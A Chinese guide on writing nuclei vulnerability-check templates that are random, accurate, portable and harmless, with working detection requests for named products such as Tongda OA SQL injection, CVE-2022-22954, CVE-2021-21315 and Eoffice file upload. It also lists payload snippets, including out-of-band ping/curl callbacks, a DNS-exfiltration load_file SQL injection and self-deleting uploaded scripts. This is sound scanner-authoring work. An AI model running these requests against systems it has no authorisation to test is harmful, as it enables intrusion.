跳转至

编写原则及案例分享

1. 随机性

随机性可以检验编写的POC是否足够健壮。

POC中不要出现固定的字符或者有关任何个人、公司等的信息,尽量使用一些随机字符来进行检测,例如一段随机字符串、一段随机字符串的Hash值等等,这样做的好处可以提高POC检测的准确性以及避免被安全设备WAF特征识别。

nuclei内置随机变量,{{randstr}}为一个随机字符串变量,而{{randstr_1}}{{randstr_2}}为两个不同的随机字符串。

但当存在代码注入或系统命令注入时,不要直接echo或打印一个字符串,一些WAF会完整返回发送的请求数据包。如下图:

False_Positive

案例一:某某系统存在命令注入

requests:
  - method: GET
    path:
      - "{{BaseURL}}/ping.php?ip=;%20md5%20-s%20{{randstr}}"

    redirects: false

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "{{md5('{{randstr}}')}}"
        part: body

使用nuclei在本地测试,详细运行结果如下:

nuclei -t xxx-command-injection.yaml -u http://127.0.0.1 -debug

command-injection

案例二:通达OA 11.9前台get_datas.php SQL注入漏洞

id: tongda-oa-v11-reportshop-sqli

info:
  name: 通达 OA 11.9前台SQL注入漏洞
  author: FQ_Hsu
  severity: high
  reference:
    - https://ad-calcium.github.io/2021/10/%E9%80%9A%E8%BE%BEoa11.9%E5%89%8D%E5%8F%B0%E6%B3%A8%E5%85%A5/
  tags: tongda-oa,sqli

requests:
  - raw:
      - |
        GET /general/reportshop/utils/get_datas.php?USER_ID=OfficeTask&PASSWORD=&col=1&tab=5+whe\re+1={`\='`+1}+un\ion+(s\elect+m\d5('{{randstr}}'))--+' HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Connection: close

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        name: md5
        words:
          - "{{md5('{{randstr}}')}}"
        part: body

2. 准确性

2.1 匹配条件需充足

不要使用单一模糊的条件去判断,如HTTP 200状态码、固定页面内容等来判定漏洞是否存在,极可能出现假阳性的误报。

案例一:海康威视/config/user.xml密码泄漏

insufficient-conditions

这个POC存在两个问题:

  • 没有添加redirects: false关闭重定向,有些系统404后会重定向至一个200的页面
  • 匹配多个关键词的时候没有添加condition: and条件。

导致此POC在实际利用中存在大量误报。

2.2 页面已存在预期的结果

案例一:ThinkCMF任意代码执行

requests:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20phpinfo();"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
          - "PHP License"
          - "PHP Variables"
        condition: and

      - type: status
        status:
          - 200

如果碰上一个本来就是PHPinfo的页面,这里就会存在误报。

案例二:SonicWall SSL VPN命令注入

requests:
  - raw:
      - |
        GET /cgi-bin/jarrewrite.sh HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        User-Agent: () { :; }; echo ; /bin/echo testtest

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "testtest"
        part: body

      - type: status
        status:
          - 200

这个POC存在的问题,首先且不说testtest字符串过于常见不够随机特殊;另外这个POC如果遇到那种调试页面(即将接收到的请求数据包括HTTP Header都输出到页面),那么这里echo的字符串无论有多独特都会存在误报。

2.3 一些建议

2.3.1 代码执行输出字符串拼接

<?php echo "{{randstr_1}}" . "" . "{{randstr_2}}";?>

out.println("{{randstr_1}}" + "{{randstr_1}}");

......

2.3.2 针对有回显的命令执行

  • Linux

expr randInt - randInt(相减后的结果)

echo aaaa""bbbb, echo aaaa''bbbb(aaaabbbb)

echo aaaa\bbbb(aaaabbbb)

md5 -s {{randstr}}

  • Windows

print 1(无法初始化设备 PRN)

2.3.3 无回显命令执行

  • Windows

ping -n 2 {{interactsh-url}}

  • Linux

ping -c 2 {{interactsh-url}}

curl {{interactsh-url}}

2.3.4 SQL注入

updatexml(1,concat(":",rand_str1,rand_str2),1)

union select concat(rand_str1, rand_str2)

load_file(concat('\\\\',user(),'.dnslog.com\\blindsqli'))

3. 通用性

PoC应兼顾各个不同的环境和平台。切勿只考虑漏洞复现的单一环境,要考虑到存在漏洞的应用的不同版本、安装应用的不同操作系统、API接口、参数名、路径前缀、执行命令等的不同情况。

3.1 代码执行优先命令执行

能通过代码执行的漏洞,就不要再通过代码调用系统命令来执行。代码执行一般比命令执行可操作性更大,更稳定。

案例一:CVE-2022-22954 Workspace ONE Access SSTI

CVE-2022-22954

此漏洞是一个模版引擎注入漏洞,如上图所示的payload是执行系统级别的命令,所以显然不可以直接拿这个payload来作为POC检测规则,原因在于为了避免操作系统差异带来的命令不通用以及防止WAF拦截操作系统执行的敏感命令,还有一些蜜罐的干扰影响。所以在编写POC时,只需执行模版引擎代码即可,如下所示。

requests:
  - raw:
      - |
        GET /catalog-portal/ui/oauth/verify?error=&deviceUdid={{payload}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      payload:
        - '{{url_encode("${1*233}0rnHi76hNPU9DO3YZZi27ewT2UB9v05r")}}'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "2330rnHi76hNPU9DO3YZZi27ewT2UB9v05r"
          - "Authorization context is not valid"
        part: body
        condition: and

3.2 系统不同的差异性

存在远程命令执行漏洞的时候,需要考虑到Linux和Windows系统命令的差异。

案例一:某广播系统命令注入

ipconfig

requests:
  - raw:
      - |
        POST /php/ping.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 39

        jsondata[ip]=a|{{command}}&jsondata[type]=1

    payloads:
      command:
        - "print 1" # Windows
        - "expr 2134178924712435823 - 1234897321461895"  # Linux

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "\\u65e0\\u6cd5\\u521d\\u59cb\\u5316\\u8bbe\\u5907 PRN"
          - "无法初始化设备 PRN"
          - "2132944027390973928"
        condition: or
        part: body

这里为了考虑到系统不同所带来的命令不同,所以请求了两次。第一次执行的是Windows的命令print 1,如果成功执行会返回无法初始化设备 PRN错误;第二次执行的是Linux系统命令expr 2134178924712435823 - 1234897321461895,计算两数相减,并返回结果2132944027390973928。虽然Windows和Linux系统都存在一个功能类似的命令echo,但是为了准确性请避免使用。

3.3 无回显命令执行

案例一:CVE-2021-21315 Node.js Systeminformation命令注入

requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/getServices?name[]=$(ping%20-n%202%20{{interactsh-url}})" # Windows
      - "{{BaseURL}}/api/getServices?name[]=$(ping%20-c%202%20{{interactsh-url}})" # Linux

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: interactsh_protocol # Confirms DNS or HTTP Interaction
        words:
          - "dns"
          - "http"
        condition: or

此命令执行漏洞并没有回显,所以需要使用外带技术。由于ping在不同系统上均已存在,但要考虑到不同系统ping命令的不同(ping在Windows系统上默认是ping 4次就会自动停止,但在Linux系统上会一直ping下去),所以这里添加了参数-n-c

注意:Windows使用certutil命令联网可能会被本地安全软件(360、火绒等)拦截。

3.4 不同版本的差异性

存在任意文件读取的时候,要考虑系统不同或者受影响版本不同所带来的文件路径不同。

案例一:VMware vCenter多个版本任意文件读取漏洞

requests:
  - raw:
      - |
        GET /eam/vib?id={{path}}\vcdb.properties HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - "C:\\ProgramData\\VMware\\VMware+VirtualCenter"  # vCenter Server 5.5 and earlier (Windows 2008)
        - "C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter"  # Other Windows versions
        - "C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx"  # vCenter Server => 6.0

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "(?m)^(driver|dbtype|password(\\.encrypted)?)\\s="

      - type: status
        status:
          - 200

提示:

  • 添加stop-at-first-match: true,请求匹配上即停止;
  • 此处还可以读取系统文件,Linux可以读取/etc/passwd,Windows可以读取c:\windows\win.ini,Windows有时候需要注意转义符号,即\\

4. 无害性

在有效验证漏洞的前提下尽可能避免对目标造成损害。

验证漏洞时,在有效验证漏洞的前提下,尽可能的不要改写、添加、删除数据,尽量不上传、删除文件。可以的话,验证漏洞完毕后应恢复数据与验证漏洞前的数据一致。切记不要上传webshell,甚至phpinfo也不要上传。

4.1 上传自删除文件

案例一:CNVD-2021-49104泛微Eoffice任意上传文件PHP远程代码执行

requests:
  - raw:
      - |
        POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
        Host: {{Hostname}}
        Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
        Content-Length: 195
        Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4

        --e64bdf16c554bbc109cecef6451c26a4
        Content-Disposition: form-data; name="Filedata"; filename="{{randstr}}.php"
        Content-Type: image/jpeg

        <?php echo "{{randstr_1}}" . "" . "{{randstr_2}}";unlink(__FILE__);?>

        --e64bdf16c554bbc109cecef6451c26a4--

      - |
        GET /images/logo/logo-eoffice.php HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code==200'
          - 'contains(body_1, "logo-eoffice.php")'
          - 'contains(body_2, "{{randstr_1}}{{randstr_2}}")'
        condition: and

这里有几点关键:

  • <?php echo "{{randstr_1}}" . "" . "{{randstr_2}}";unlink(__FILE__);?>,上传的内容为echo两个随机字符串进行拼接遵循随机化、无害化原则;
  • 判断第二个请求中是否包含{{randstr_1}}{{randstr_2}}字符串满足准确性原则;
  • 由于unlink(__FILE__)的存在,在访问这个文件一遍后,如果权限足够,此文件就会自动删除。

案例二:泛微e-cology9 OA任意文件上传JSP远程代码执行

requests:
  - raw:
      - |
        POST /xxxx.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 371
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiDg1aubSTniDLrs

        ------WebKitFormBoundarytiDg1aubSTniDLrs
        Content-Disposition: form-data; name="upload"; filename="../../{{randstr_1}}.jsp"
        Content-Type: application/octet-stream

        <%
        out.println("{{randstr_2}}" + "{{randstr_3}}");
        new java.io.File(application.getRealPath(request.getServletPath())).delete();
        %>
        ------WebKitFormBoundarytiDg1aubSTniDLrs--

      - |
        GET /{{randstr_1}}.jsp HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body_2, '{{randstr_2}}{{randstr_3}}')"
        condition: and

4.2 其他语言的自删除

  • PHP
<?php echo "{{randstr_1}}" . "" . "{{randstr_2}}";unlink(__FILE__);?>
  • ASP
<%
Response.Write chr(101)&chr(49)&chr(54)&chr(53)&chr(52)&chr(50)&chr(49)&chr(49)&chr(49)&chr(48)&chr(98)&chr(97)&chr(48)&chr(51)&chr(48)&chr(57)&chr(57)&chr(97)&chr(49)&chr(99)&chr(48)&chr(51)&chr(57)&chr(51)&chr(51)&chr(55)&chr(51)&chr(99)&chr(53)&chr(98)&chr(52)&chr(51)
CreateObject("Scripting.FileSystemObject").DeleteFile(server.mappath(Request.ServerVariables("SCRIPT_NAME")))
%>
  • ASPX
<%@Page Language="C#"%>
<%
Response.Write(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
System.IO.File.Delete(Request.PhysicalPath);
%>
  • JSPX
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns="http://www.w3.org/1999/xhtml" version="2.0"  xmlns:jsp="http://java.sun.com/JSP/Page" xmlns:c="http://java.sun.com/jsp/jstl/core">  
<jsp:directive.page contentType="text/html;charset=UTF-8" language="java" />  
<jsp:scriptlet> 
out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
  new java.io.File(application.getRealPath(request.getServletPath())).delete();
</jsp:scriptlet>
</jsp:root>
回到页面顶部